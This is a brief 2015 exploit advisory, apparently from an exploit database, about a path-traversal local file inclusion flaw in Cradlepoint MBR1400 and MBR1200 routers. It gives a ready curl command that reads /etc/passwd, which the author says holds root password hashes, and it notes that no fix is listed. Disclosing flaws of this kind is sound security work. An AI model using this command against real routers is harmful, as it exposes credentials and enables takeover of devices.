Cradlepoint MBR1400 and MBR1200 Local File Inclusion

2015-07-08 21:05:39

# Exploit Title: Cradlepoint MBR LFI
# Date: 7/7/2015
# Exploit Author: Doc_Hak
# Vendor Homepage: https://cradlepoint.com/
# Version: 1200/1400 (REQUIRED)
# Tested on: Embedded linux

I found a local file include with root level permissions on
cradlepoint routers. So far looks like it works on MBR1400 and MBR1200
routers, though others could be affected. I say it is with root level
because it can read /etc/passwd and there is no "x" indicating the hash is
stored in the /etc/shadow file. Therefore the root hash is included in
this file.

To access the root hash on Cradlepoint MBRs simply:

curl http://192.168.1.1/../../../../../../../../../../../../etc/passwd

Fixes

No fixes

In order to submit a new fix you need to be registered.